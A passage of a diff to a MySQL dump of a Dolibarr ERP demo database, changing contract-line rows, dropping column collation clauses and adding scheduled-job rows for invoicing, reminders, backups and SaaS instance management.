assurance',NULL,NULL,'2012-07-10 00:00:00',NULL,'2013-07-10 00:00:00',NULL,1.000,'',0.000,'',0.000,'',1,0,10.00000000,10,0,10.00000000,0.10000000,0.00000000,0.00000000,10.10000000,1,0,0,NULL,0.00000000,0,NULL,NULL,NULL,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000),(3,'2015-03-05 10:20:58',2,3,5,'','gdfg',NULL,NULL,'2012-07-10 00:00:00','2012-07-10 12:00:00','2013-07-09 00:00:00','2015-03-06 12:00:00',4.000,'',0.000,'',0.000,'',1,0,0.00000000,0,NULL,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,1,0,0,0,0.00000000,0,1,1,'',NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000),(4,'2014-12-08 13:11:17',2,3,0,'','',NULL,NULL,'2012-07-10 00:00:00',NULL,NULL,NULL,0.000,'',0.000,'',0.000,'',1,10,40.00000000,40,NULL,36.00000000,0.00000000,0.00000000,0.00000000,36.00000000,1,0,0,NULL,0.00000000,0,NULL,1,'',NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000),(5,'2015-03-06 09:05:40',3,NULL,4,'','gfdg',NULL,NULL,NULL,'2015-03-06 12:00:00','2015-03-07 12:00:00',NULL,0.000,'',0.000,'',0.000,'',1,0,10.00000000,10,NULL,10.00000000,0.00000000,0.00000000,0.00000000,10.00000000,1,0,0,0,0.00000000,0,1,1,'',NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000),(15,'2020-01-13 14:56:58',1,NULL,0,'','aaa',NULL,NULL,NULL,NULL,NULL,NULL,0.000,'CGST+SGST',9.000,'0',9.000,'0',1,0,10.00000000,10,NULL,10.00000000,0.00000000,0.00000000,0.00000000,10.00000000,1,0,0,NULL,0.00000000,0,NULL,12,'',NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000),(16,'2020-01-13 14:56:53',1,NULL,0,'','aaa',NULL,NULL,NULL,NULL,NULL,NULL,18.000,'IGST',0.000,'1',0.000,'1',1,0,10.00000000,10,NULL,10.00000000,1.80000000,0.00000000,0.00000000,11.80000000,1,0,0,NULL,0.00000000,0,NULL,12,'',NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000); +INSERT INTO `llx_contratdet` VALUES (2,'2023-01-25 15:43:02',2,NULL,4,'','Abonnement annuel assurance',NULL,NULL,'2012-07-10 00:00:00','2023-01-03 12:00:00','2023-01-04 12:00:00',NULL,1.000,'',0.000,'',0.000,'',1,0,10.00000000,10,0,10.00000000,0.10000000,0.00000000,0.00000000,10.10000000,1,0,1,NULL,0.00000000,0,12,NULL,'',NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000),(3,'2023-01-25 15:43:02',2,3,4,'','gdfg',NULL,NULL,'2012-07-10 00:00:00','2023-01-03 12:00:00','2023-01-04 12:00:00',NULL,4.000,'',0.000,'',0.000,'',1,0,0.00000000,0,NULL,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,1,0,2,0,0.00000000,0,12,1,'',NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000),(4,'2023-01-25 15:44:14',2,3,5,'','',NULL,NULL,'2012-07-10 00:00:00','2023-01-01 00:00:00','2023-01-02 00:00:00','2023-01-25 00:00:00',0.000,'',0.000,'',0.000,'',1,10,40.00000000,40,NULL,36.00000000,0.00000000,0.00000000,0.00000000,36.00000000,1,0,3,NULL,0.00000000,0,12,12,'',NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000),(5,'2022-12-11 21:23:42',3,NULL,4,'','gfdg',NULL,NULL,NULL,'2015-03-06 12:00:00','2015-03-07 12:00:00',NULL,0.000,'',0.000,'',0.000,'',1,0,10.00000000,10,NULL,10.00000000,0.00000000,0.00000000,0.00000000,10.00000000,1,0,1,0,0.00000000,0,1,1,'',NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000),(15,'2022-12-11 21:23:42',1,NULL,0,'','aaa',NULL,NULL,NULL,NULL,NULL,NULL,0.000,'CGST+SGST',9.000,'0',9.000,'0',1,0,10.00000000,10,NULL,10.00000000,0.00000000,0.00000000,0.00000000,10.00000000,1,0,1,NULL,0.00000000,0,NULL,12,'',NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000),(16,'2022-12-11 21:23:42',1,NULL,0,'','aaa',NULL,NULL,NULL,NULL,NULL,NULL,18.000,'IGST',0.000,'1',0.000,'1',1,0,10.00000000,10,NULL,10.00000000,1.80000000,0.00000000,0.00000000,11.80000000,1,0,2,NULL,0.00000000,0,NULL,12,'',NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000); /*!40000 ALTER TABLE `llx_contratdet` ENABLE KEYS */; UNLOCK TABLES; @@ -5156,7 +4431,7 @@ CREATE TABLE `llx_contratdet_extrafields` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), `fk_object` int(11) NOT NULL, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, PRIMARY KEY (`rowid`), KEY `idx_contratdet_extrafields` (`fk_object`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; @@ -5185,7 +4460,7 @@ CREATE TABLE `llx_contratdet_log` ( `date` datetime NOT NULL, `statut` smallint(6) NOT NULL, `fk_user_author` int(11) NOT NULL, - `commentaire` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `commentaire` text DEFAULT NULL, PRIMARY KEY (`rowid`), KEY `idx_contratdet_log_fk_contratdet` (`fk_contratdet`), KEY `idx_contratdet_log_date` (`date`), @@ -5213,41 +4488,42 @@ CREATE TABLE `llx_cronjob` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), `datec` datetime DEFAULT NULL, - `jobtype` varchar(10) COLLATE utf8mb3_unicode_ci NOT NULL, - `label` varchar(255) COLLATE utf8mb3_unicode_ci NOT NULL, - `command` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `classesname` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `objectname` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `methodename` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `params` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `md5params` varchar(32) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `module_name` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `jobtype` varchar(10) NOT NULL, + `label` varchar(255) NOT NULL, + `command` varchar(255) DEFAULT NULL, + `classesname` varchar(255) DEFAULT NULL, + `objectname` varchar(255) DEFAULT NULL, + `methodename` varchar(255) DEFAULT NULL, + `params` text DEFAULT NULL, + `md5params` varchar(32) DEFAULT NULL, + `module_name` varchar(255) DEFAULT NULL, `priority` int(11) DEFAULT 0, `datelastrun` datetime DEFAULT NULL, `datenextrun` datetime DEFAULT NULL, `datestart` datetime DEFAULT NULL, `dateend` datetime DEFAULT NULL, `datelastresult` datetime DEFAULT NULL, - `lastresult` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `lastoutput` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `unitfrequency` varchar(255) COLLATE utf8mb3_unicode_ci NOT NULL DEFAULT '3600', + `lastresult` text DEFAULT NULL, + `lastoutput` text DEFAULT NULL, + `unitfrequency` varchar(255) NOT NULL DEFAULT '3600', `frequency` int(11) NOT NULL DEFAULT 0, `nbrun` int(11) DEFAULT NULL, `status` int(11) NOT NULL DEFAULT 1, `fk_user_author` int(11) DEFAULT NULL, `fk_user_mod` int(11) DEFAULT NULL, - `note` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `libname` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `note` text DEFAULT NULL, + `libname` varchar(255) DEFAULT NULL, `entity` int(11) DEFAULT 0, `maxrun` int(11) NOT NULL DEFAULT 0, `autodelete` int(11) DEFAULT 0, `fk_mailing` int(11) DEFAULT NULL, - `test` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT '1', + `test` varchar(255) DEFAULT '1', `processing` int(11) NOT NULL DEFAULT 0, - `email_alert` varchar(128) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `email_alert` varchar(128) DEFAULT NULL, + `pid` int(11) DEFAULT NULL, PRIMARY KEY (`rowid`), UNIQUE KEY `uk_cronjob` (`label`,`entity`) -) ENGINE=InnoDB AUTO_INCREMENT=52 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; +) ENGINE=InnoDB AUTO_INCREMENT=68 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; -- @@ -5256,7 +4532,7 @@ CREATE TABLE `llx_cronjob` ( LOCK TABLES `llx_cronjob` WRITE; /*!40000 ALTER TABLE `llx_cronjob` DISABLE KEYS */; -INSERT INTO `llx_cronjob` VALUES (1,'2015-03-23 18:18:39','2015-03-23 19:18:39','command','aaa','aaaa','','','','','','',0,NULL,NULL,'2015-03-23 19:18:00',NULL,NULL,NULL,NULL,'3600',3600,0,0,1,1,'',NULL,0,0,0,NULL,'1',0,NULL),(40,'2018-11-23 11:58:15','2018-11-23 12:58:15','method','SendEmailsReminders',NULL,'comm/action/class/actioncomm.class.php','ActionComm','sendEmailsReminder',NULL,NULL,'agenda',10,NULL,NULL,'2018-11-23 12:58:15',NULL,NULL,NULL,NULL,'60',10,NULL,1,NULL,NULL,'SendEMailsReminder',NULL,1,0,0,NULL,'$conf->agenda->enabled',0,NULL),(41,'2018-11-23 11:58:16','2018-11-23 12:58:16','method','PurgeDeleteTemporaryFilesShort',NULL,'core/class/utils.class.php','Utils','purgeFiles',NULL,NULL,'cron',50,NULL,NULL,'2018-11-23 12:58:16',NULL,NULL,NULL,NULL,'604800',2,NULL,1,NULL,NULL,'PurgeDeleteTemporaryFiles',NULL,0,0,0,NULL,'1',0,NULL),(42,'2020-01-15 15:43:12','2018-11-23 12:58:16','method','MakeLocalDatabaseDumpShort',NULL,'core/class/utils.class.php','Utils','dumpDatabase','none,auto,1,auto,10',NULL,'cron',90,'2020-01-15 19:43:12','2020-01-17 12:58:16','2018-11-23 12:58:16',NULL,'2020-01-15 19:43:12','-1','Failed to run external command. Check it is available and runnable by your PHP server. If PHP Safe Mode is enabled, check that command is inside a directory defined by parameter safe_mode_exec_dir.\nFailed to run external command. Check it is available and runnable by your PHP server. If PHP Safe Mode is enabled, check that command is inside a directory defined by parameter safe_mode_exec_dir.','604800',1,2,1,NULL,12,'MakeLocalDatabaseDump',NULL,0,0,0,NULL,'1',0,NULL),(43,'2022-07-04 01:11:54','2018-11-23 12:58:17','method','RecurringInvoicesJob',NULL,'compta/facture/class/facture-rec.class.php','FactureRec','createRecurringInvoices',NULL,NULL,'facture',50,NULL,NULL,'2018-11-23 23:00:00',NULL,NULL,NULL,NULL,'86400',1,NULL,1,NULL,NULL,'Generate recurring invoices',NULL,1,0,0,NULL,'$conf->facture->enabled',0,NULL),(45,'2020-01-01 12:00:34','2020-01-01 16:00:34','method','MyJob label',NULL,'/captureserver/class/myobject.class.php','MyObject','doScheduledJob',NULL,NULL,'captureserver',0,NULL,NULL,'2020-01-01 16:00:34',NULL,NULL,NULL,NULL,'3600',2,NULL,0,NULL,NULL,'Comment',NULL,1,0,0,NULL,'$conf->captureserver->enabled',0,NULL),(46,'2020-01-12 20:13:55','2020-01-13 00:13:55','method','Email collector',NULL,'/emailcollector/class/emailcollector.class.php','EmailCollector','doCollect',NULL,NULL,'emailcollector',50,NULL,NULL,'2020-01-13 00:13:55',NULL,NULL,NULL,NULL,'60',5,NULL,1,NULL,NULL,'Comment',NULL,1,0,0,NULL,'$conf->emailcollector->enabled',0,NULL),(47,'2021-04-15 10:34:00','2021-04-15 07:34:00','method','CompressSyslogs',NULL,'core/class/utils.class.php','Utils','compressSyslogs',NULL,NULL,'syslog',50,NULL,NULL,'2021-04-15 07:34:00',NULL,NULL,NULL,NULL,'86400',1,NULL,0,NULL,NULL,'Compress and archive log files. The number of versions to keep is defined into the setup of module. Warning: Main application cron script must be run with same account than your web server to avoid to get log files with different owner than required by web server. Another solution is to set web server Operating System group as the group of directory documents and set GROUP permission \"rws\" on this directory so log files will always have the group and permissions of the web server Operating System group.',NULL,1,0,0,NULL,'1',0,NULL),(48,'2021-07-11 17:49:46','2021-07-11 19:49:46','method','SendEmailsRemindersOnInvoiceDueDate',NULL,'compta/facture/class/facture.class.php','Facture','sendEmailsRemindersOnInvoiceDueDate','10,all,EmailTemplateCode',NULL,'facture',50,NULL,NULL,'2021-07-11 23:00:00',NULL,NULL,NULL,NULL,'86400',1,NULL,0,NULL,NULL,'Send an emails when the unpaid invoices reach a due date + n days = today. First param is the offset n of days, second parameter is \"all\" or a payment mode code, last paramater is the code of email template to use (an email template with EmailTemplateCode must exists. the version in the language of the thirdparty will be used in priority).',NULL,1,0,0,NULL,'$conf->facture->enabled',0,NULL),(49,'2022-02-07 13:38:17','2022-02-07 13:38:17','method','HolidayBalanceMonthlyUpdate',NULL,'holiday/class/holiday.class.php','Holiday','updateBalance',NULL,NULL,'holiday',50,NULL,NULL,'2022-02-07 04:00:00',NULL,NULL,NULL,NULL,'86400',1,NULL,1,NULL,NULL,'Update holiday balance every month',NULL,1,0,0,NULL,'$conf->holiday->enabled',0,NULL),(50,'2022-07-04 01:12:18','2022-07-04 01:12:18','method','MakeSendLocalDatabaseDumpShort',NULL,'core/class/utils.class.php','Utils','sendDumpDatabase',',,,,,sql',NULL,'cron',91,NULL,NULL,'2022-07-04 01:12:18',NULL,NULL,NULL,NULL,'604800',1,NULL,0,NULL,NULL,'MakeSendLocalDatabaseDump',NULL,0,0,0,NULL,'!empty($conf->global->MAIN_ALLOW_BACKUP_BY_EMAIL) && in_array($conf->db->type, array(\'mysql\', \'mysqli\'))',0,NULL),(51,'2022-07-04 01:12:18','2022-07-04 01:12:18','method','RecurringSupplierInvoicesJob',NULL,'fourn/class/fournisseur.facture-rec.class.php','FactureFournisseurRec','createRecurringInvoices',NULL,NULL,'fournisseur',51,NULL,NULL,'2022-07-04 23:00:00',NULL,NULL,NULL,NULL,'86400',1,NULL,1,NULL,NULL,'Generate recurring supplier invoices',NULL,1,0,0,NULL,'',0,NULL); +INSERT INTO `llx_cronjob` VALUES (1,'2015-03-23 18:18:39','2015-03-23 19:18:39','command','aaa','aaaa','','','','','','',0,NULL,NULL,'2015-03-23 19:18:00',NULL,NULL,NULL,NULL,'3600',3600,0,0,1,1,'',NULL,0,0,0,NULL,'1',0,NULL,NULL),(40,'2018-11-23 11:58:15','2018-11-23 12:58:15','method','SendEmailsReminders',NULL,'comm/action/class/actioncomm.class.php','ActionComm','sendEmailsReminder',NULL,NULL,'agenda',10,NULL,NULL,'2018-11-23 12:58:15',NULL,NULL,NULL,NULL,'60',10,NULL,1,NULL,NULL,'SendEMailsReminder',NULL,1,0,0,NULL,'$conf->agenda->enabled',0,NULL,NULL),(41,'2018-11-23 11:58:16','2018-11-23 12:58:16','method','PurgeDeleteTemporaryFilesShort',NULL,'core/class/utils.class.php','Utils','purgeFiles',NULL,NULL,'cron',50,NULL,NULL,'2018-11-23 12:58:16',NULL,NULL,NULL,NULL,'604800',2,NULL,1,NULL,NULL,'PurgeDeleteTemporaryFiles',NULL,0,0,0,NULL,'1',0,NULL,NULL),(42,'2020-01-15 15:43:12','2018-11-23 12:58:16','method','MakeLocalDatabaseDumpShort',NULL,'core/class/utils.class.php','Utils','dumpDatabase','none,auto,1,auto,10',NULL,'cron',90,'2020-01-15 19:43:12','2020-01-17 12:58:16','2018-11-23 12:58:16',NULL,'2020-01-15 19:43:12','-1','Failed to run external command. Check it is available and runnable by your PHP server. If PHP Safe Mode is enabled, check that command is inside a directory defined by parameter safe_mode_exec_dir.\nFailed to run external command. Check it is available and runnable by your PHP server. If PHP Safe Mode is enabled, check that command is inside a directory defined by parameter safe_mode_exec_dir.','604800',1,2,1,NULL,12,'MakeLocalDatabaseDump',NULL,0,0,0,NULL,'1',0,NULL,NULL),(43,'2022-07-04 01:11:54','2018-11-23 12:58:17','method','RecurringInvoicesJob',NULL,'compta/facture/class/facture-rec.class.php','FactureRec','createRecurringInvoices',NULL,NULL,'facture',50,NULL,NULL,'2018-11-23 23:00:00',NULL,NULL,NULL,NULL,'86400',1,NULL,1,NULL,NULL,'Generate recurring invoices',NULL,1,0,0,NULL,'$conf->facture->enabled',0,NULL,NULL),(45,'2020-01-01 12:00:34','2020-01-01 16:00:34','method','MyJob label',NULL,'/captureserver/class/myobject.class.php','MyObject','doScheduledJob',NULL,NULL,'captureserver',0,NULL,NULL,'2020-01-01 16:00:34',NULL,NULL,NULL,NULL,'3600',2,NULL,0,NULL,NULL,'Comment',NULL,1,0,0,NULL,'$conf->captureserver->enabled',0,NULL,NULL),(46,'2020-01-12 20:13:55','2020-01-13 00:13:55','method','Email collector',NULL,'/emailcollector/class/emailcollector.class.php','EmailCollector','doCollect',NULL,NULL,'emailcollector',50,NULL,NULL,'2020-01-13 00:13:55',NULL,NULL,NULL,NULL,'60',5,NULL,1,NULL,NULL,'Comment',NULL,1,0,0,NULL,'$conf->emailcollector->enabled',0,NULL,NULL),(47,'2021-04-15 10:34:00','2021-04-15 07:34:00','method','CompressSyslogs',NULL,'core/class/utils.class.php','Utils','compressSyslogs',NULL,NULL,'syslog',50,NULL,NULL,'2021-04-15 07:34:00',NULL,NULL,NULL,NULL,'86400',1,NULL,0,NULL,NULL,'Compress and archive log files. The number of versions to keep is defined into the setup of module. Warning: Main application cron script must be run with same account than your web server to avoid to get log files with different owner than required by web server. Another solution is to set web server Operating System group as the group of directory documents and set GROUP permission \"rws\" on this directory so log files will always have the group and permissions of the web server Operating System group.',NULL,1,0,0,NULL,'1',0,NULL,NULL),(48,'2021-07-11 17:49:46','2021-07-11 19:49:46','method','SendEmailsRemindersOnInvoiceDueDate',NULL,'compta/facture/class/facture.class.php','Facture','sendEmailsRemindersOnInvoiceDueDate','10,all,EmailTemplateCode',NULL,'facture',50,NULL,NULL,'2021-07-11 23:00:00',NULL,NULL,NULL,NULL,'86400',1,NULL,0,NULL,NULL,'Send an emails when the unpaid invoices reach a due date + n days = today. First param is the offset n of days, second parameter is \"all\" or a payment mode code, last paramater is the code of email template to use (an email template with EmailTemplateCode must exists. the version in the language of the thirdparty will be used in priority).',NULL,1,0,0,NULL,'$conf->facture->enabled',0,NULL,NULL),(49,'2022-02-07 13:38:17','2022-02-07 13:38:17','method','HolidayBalanceMonthlyUpdate',NULL,'holiday/class/holiday.class.php','Holiday','updateBalance',NULL,NULL,'holiday',50,NULL,NULL,'2022-02-07 04:00:00',NULL,NULL,NULL,NULL,'86400',1,NULL,1,NULL,NULL,'Update holiday balance every month',NULL,1,0,0,NULL,'$conf->holiday->enabled',0,NULL,NULL),(50,'2022-07-04 01:12:18','2022-07-04 01:12:18','method','MakeSendLocalDatabaseDumpShort',NULL,'core/class/utils.class.php','Utils','sendDumpDatabase',',,,,,sql',NULL,'cron',91,NULL,NULL,'2022-07-04 01:12:18',NULL,NULL,NULL,NULL,'604800',1,NULL,0,NULL,NULL,'MakeSendLocalDatabaseDump',NULL,0,0,0,NULL,'!empty($conf->global->MAIN_ALLOW_BACKUP_BY_EMAIL) && in_array($conf->db->type, array(\'mysql\', \'mysqli\'))',0,NULL,NULL),(51,'2022-07-04 01:12:18','2022-07-04 01:12:18','method','RecurringSupplierInvoicesJob',NULL,'fourn/class/fournisseur.facture-rec.class.php','FactureFournisseurRec','createRecurringInvoices',NULL,NULL,'fournisseur',51,NULL,NULL,'2022-07-04 23:00:00',NULL,NULL,NULL,NULL,'86400',1,NULL,1,NULL,NULL,'Generate recurring supplier invoices',NULL,1,0,0,NULL,'',0,NULL,NULL),(52,'2022-12-11 21:23:42','2022-12-11 21:23:42','method','CleanUnfinishedCronjobShort',NULL,'core/class/utils.class.php','Utils','cleanUnfinishedCronjob',NULL,NULL,'cron',10,NULL,NULL,'2022-12-11 21:23:42',NULL,NULL,NULL,NULL,'60',5,NULL,0,NULL,NULL,'CleanUnfinishedCronjob',NULL,0,0,0,NULL,'getDolGlobalInt(\"MAIN_FEATURES_LEVEL\") >= 2',0,NULL,NULL),(53,'2022-12-11 21:23:43','2022-12-11 21:23:43','method','HolidayBalanceMonthlyUpdate:holiday',NULL,'holiday/class/holiday.class.php','Holiday','updateBalance',NULL,NULL,'holiday',50,NULL,NULL,'2022-12-11 04:00:00',NULL,NULL,NULL,NULL,'86400',1,NULL,1,NULL,NULL,'Update holiday balance every month',NULL,1,0,0,NULL,'$conf->holiday->enabled',0,NULL,NULL),(54,'2023-01-19 12:20:14','2023-01-19 09:20:14','method','SellYourSaasValidateDraftInvoices',NULL,'/sellyoursaas/class/sellyoursaasutils.class.php','SellYourSaasUtils','doValidateDraftInvoices',NULL,NULL,'sellyoursaas',61,NULL,NULL,'2023-01-19 21:15:00',NULL,NULL,NULL,NULL,'86400',1,NULL,1,NULL,NULL,'Search draft invoices on sellyoursaas customers and check they are linked to a not closed contract. Validate it if not and if there is not another validated invoice, do nothing if closed. You can set the id of a thirdparty as parameter to restrict the batch to a given thirdparty.',NULL,1,0,0,NULL,'$conf->sellyoursaas->enabled',0,NULL,NULL),(55,'2023-01-19 12:20:14','2023-01-19 09:20:14','method','SellYourSaasAlertSoftEndTrial',NULL,'/sellyoursaas/class/sellyoursaasutils.class.php','SellYourSaasUtils','doAlertSoftEndTrial',NULL,NULL,'sellyoursaas',62,NULL,NULL,'2023-01-19 21:15:00',NULL,NULL,NULL,NULL,'60',30,NULL,1,NULL,NULL,'Search contracts of sellyoursaas customers that are deployed + with open lines + about to expired (= date between (end date - SELLYOURSAAS_NBDAYS_BEFORE_TRIAL_END_FOR_SOFT_ALERT) and (end date - SELLYOURSAAS_NBDAYS_BEFORE_TRIAL_END_FOR_SOFT_ALERT + 7)) + not yet already warned (date_softalert_endfreeperiod is null), then send email remind',NULL,1,0,0,NULL,'$conf->sellyoursaas->enabled',0,NULL,NULL),(56,'2023-01-19 12:20:14','2023-01-19 09:20:14','method','SellYourSaasAlertCreditCardExpiration',NULL,'/sellyoursaas/class/sellyoursaasutils.class.php','SellYourSaasUtils','doAlertCreditCardExpiration','1, 20',NULL,'sellyoursaas',65,NULL,NULL,'2023-01-19 21:15:00',NULL,NULL,NULL,NULL,'86400',1,NULL,1,NULL,NULL,'Send warning to sellyoursaas customers with an active recurring invoice when default payment mode is credit card and it will expire at end of month',NULL,1,0,0,NULL,'$conf->sellyoursaas->enabled',0,NULL,NULL),(57,'2023-01-19 12:20:14','2023-01-19 09:20:14','method','SellYourSaasTakePaymentStripe',NULL,'/sellyoursaas/class/sellyoursaasutils.class.php','SellYourSaasUtils','doTakePaymentStripe','0, 0',NULL,'sellyoursaas',75,NULL,NULL,'2023-01-19 21:15:00',NULL,NULL,NULL,NULL,'86400',1,NULL,1,NULL,NULL,'Loop on invoice for customer with default payment mode Stripe and take payment/send email. Unsuspend if it was suspended and all payments are now ok (done by trigger BILL_CANCEL or BILL_PAYED). First parameter is the maximum number of payments processed in one run. Second parameter is 1 to disable email to customer if payment fails.',NULL,1,0,0,NULL,'$conf->sellyoursaas->enabled',0,NULL,NULL),(58,'2023-01-19 12:20:14','2023-01-19 09:20:14','method','SellYourSaasRefreshContracts',NULL,'/sellyoursaas/class/sellyoursaasutils.class.php','SellYourSaasUtils','doRefreshContracts',NULL,NULL,'sellyoursaas',77,NULL,NULL,'2023-01-19 21:15:00',NULL,NULL,NULL,NULL,'86400',1,NULL,1,NULL,NULL,'Loop on each contract. If it is a paid contract, and there is no unpaid invoice for contract, and line not suspended and end date <= today + 2 days (so expired or soon expired, we must be sure to make refresh before new generation of invoice), we update qty on contract + qty on linked template invoice',NULL,1,0,0,NULL,'$conf->sellyoursaas->enabled',0,NULL,NULL),(59,'2023-01-19 12:20:14','2023-01-19 09:20:14','method','SellYourSaasRenewalContracts',NULL,'/sellyoursaas/class/sellyoursaasutils.class.php','SellYourSaasUtils','doRenewalContracts',NULL,NULL,'sellyoursaas',78,NULL,NULL,'2023-01-19 21:15:00',NULL,NULL,NULL,NULL,'86400',1,NULL,1,NULL,NULL,'Loop on each contract. If it is a paid contract, and there is no unpaid invoice for contract, and line not suspended and end date <= today - 1 day (so expired, we must be sure to make renewal after generation of invoice with 2 chances of invoice generation to not make renewal if payment error), we update qty on contract + qty on linked template invoice + the running contract service end date to end at next period',NULL,1,0,0,NULL,'$conf->sellyoursaas->enabled',0,NULL,NULL),(60,'2023-01-19 12:20:14','2023-01-19 09:20:14','method','SellYourSaasSuspendExpiredTestInstances',NULL,'/sellyoursaas/class/sellyoursaasutils.class.php','SellYourSaasUtils','doSuspendExpiredTestInstances','0, 25',NULL,'sellyoursaas',81,NULL,NULL,'2023-01-19 21:15:00',NULL,NULL,NULL,NULL,'3600',4,NULL,1,NULL,NULL,'Suspend expired services of test instances (a test instance = instance without template neither standard invoice) if it is not a redirect instance and if we are after the planned end date (+ grace offset in SELLYOURSAAS_NBDAYS_AFTER_EXPIRATION_BEFORE_TRIAL_SUSPEND). Note that if a payment mode exists for customer, we do NOT suspend instance but create a template invoice instead. 1st parameter can be set to 1 to disable apache reload. 2nd parameter is maximum number of instance to suspend.',NULL,1,0,0,NULL,'$conf->sellyoursaas->enabled',0,NULL,NULL),(61,'2023-01-19 12:20:14','2023-01-19 09:20:14','method','SellYourSaasUndeployOldSuspendedTestInstances',NULL,'/sellyoursaas/class/sellyoursaasutils.class.php','SellYourSaasUtils','doUndeployOldSuspendedTestInstances',NULL,NULL,'sellyoursaas',82,NULL,NULL,'2023-01-19 21:15:00',NULL,NULL,NULL,NULL,'3600',2,NULL,1,NULL,NULL,'Undeployed test instances if we are after planned end date (+ grace offset in SELLYOURSAAS_NBDAYS_AFTER_EXPIRATION_BEFORE_TRIAL_UNDEPLOYMENT)',NULL,1,0,0,NULL,'$conf->sellyoursaas->enabled',0,NULL,NULL),(62,'2023-01-19 12:20:14','2023-01-19 09:20:14','method','SellYourSaasSuspendExpiredRealInstances',NULL,'/sellyoursaas/class/sellyoursaasutils.class.php','SellYourSaasUtils','doSuspendExpiredRealInstances',NULL,NULL,'sellyoursaas',85,NULL,NULL,'2023-01-19 21:15:00',NULL,NULL,NULL,NULL,'86400',1,NULL,1,NULL,NULL,'Suspend expired services of paid instances if we are after planned end date (+ grace offset in SELLYOURSAAS_NBDAYS_AFTER_EXPIRATION_BEFORE_PAID_SUSPEND)',NULL,1,0,0,NULL,'$conf->sellyoursaas->enabled',0,NULL,NULL),(63,'2023-01-19 12:20:14','2023-01-19 09:20:14','method','SellYourSaasUndeployOldSuspendedRealInstances',NULL,'/sellyoursaas/class/sellyoursaasutils.class.php','SellYourSaasUtils','doUndeployOldSuspendedRealInstances',NULL,NULL,'sellyoursaas',86,NULL,NULL,'2023-01-19 21:15:00',NULL,NULL,NULL,NULL,'86400',1,NULL,1,NULL,NULL,'Undeployed paid instances if we are after planned end date (+ grace offset in SELLYOURSAAS_NBDAYS_AFTER_EXPIRATION_BEFORE_PAID_UNDEPLOYMENT)',NULL,1,0,0,NULL,'$conf->sellyoursaas->enabled',0,NULL,NULL),(64,'2023-02-15 11:19:34','2023-02-15 08:19:34','method','CancelPartnershipForExpiredMembers',NULL,'/partnership/class/partnershiputils.class.php','PartnershipUtils','doCancelStatusOfMemberPartnership',NULL,NULL,'partnership',60,NULL,NULL,'2023-02-15 21:15:00',NULL,NULL,NULL,NULL,'86400',1,NULL,1,NULL,NULL,'Cancel status of partnership when subscription is expired + x days.',NULL,1,0,0,NULL,'$conf->partnership->enabled',0,NULL,NULL),(65,'2023-02-15 11:19:34','2023-02-15 08:19:34','method','PartnershipCheckBacklink',NULL,'/partnership/class/partnershiputils.class.php','PartnershipUtils','doWarningOfPartnershipIfDolibarrBacklinkNotfound',NULL,NULL,'partnership',61,NULL,NULL,'2023-02-15 21:15:00',NULL,NULL,NULL,NULL,'86400',1,NULL,0,NULL,NULL,'Warning of partnership if Dolibarr backlink not found on partner website.',NULL,1,0,0,NULL,'$conf->partnership->enabled',0,NULL,NULL),(66,'2023-02-27 16:28:21','2023-02-27 13:28:21','method','ScanInvoices_background_import_service',NULL,'/scaninvoices/class/filestoimport.class.php','Filestoimport','doScheduledJob',NULL,NULL,'scaninvoices',50,NULL,NULL,'2023-02-27 13:28:21',NULL,NULL,NULL,NULL,'3600',3,NULL,1,NULL,NULL,'SCANINVOICES_BACKGROUND_SERVER_DETAILS',NULL,1,0,0,NULL,'$conf->scaninvoices->enabled',0,NULL,NULL),(67,'2023-02-27 16:28:21','2023-02-27 13:28:21','method','ScanInvoices auto pay supplier invoices (CB/LCR/PREV)',NULL,'/scaninvoices/class/supplierautopayinvoices.class.php','Supplierautopayinvoices','doScheduledJob',NULL,NULL,'scaninvoices',50,NULL,NULL,'2023-02-27 13:28:21',NULL,NULL,NULL,NULL,'3600',24,NULL,0,NULL,NULL,'Comment',NULL,1,0,0,NULL,'$conf->scaninvoices->enabled',0,NULL,NULL); /*!40000 ALTER TABLE `llx_cronjob` ENABLE KEYS */; UNLOCK TABLES; @@ -5270,14 +4546,14 @@ DROP TABLE IF EXISTS `llx_default_values`; CREATE TABLE `llx_default_values` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `entity` int(11) NOT NULL DEFAULT 1, - `type` varchar(10) COLLATE utf8mb3_unicode_ci DEFAULT NULL, 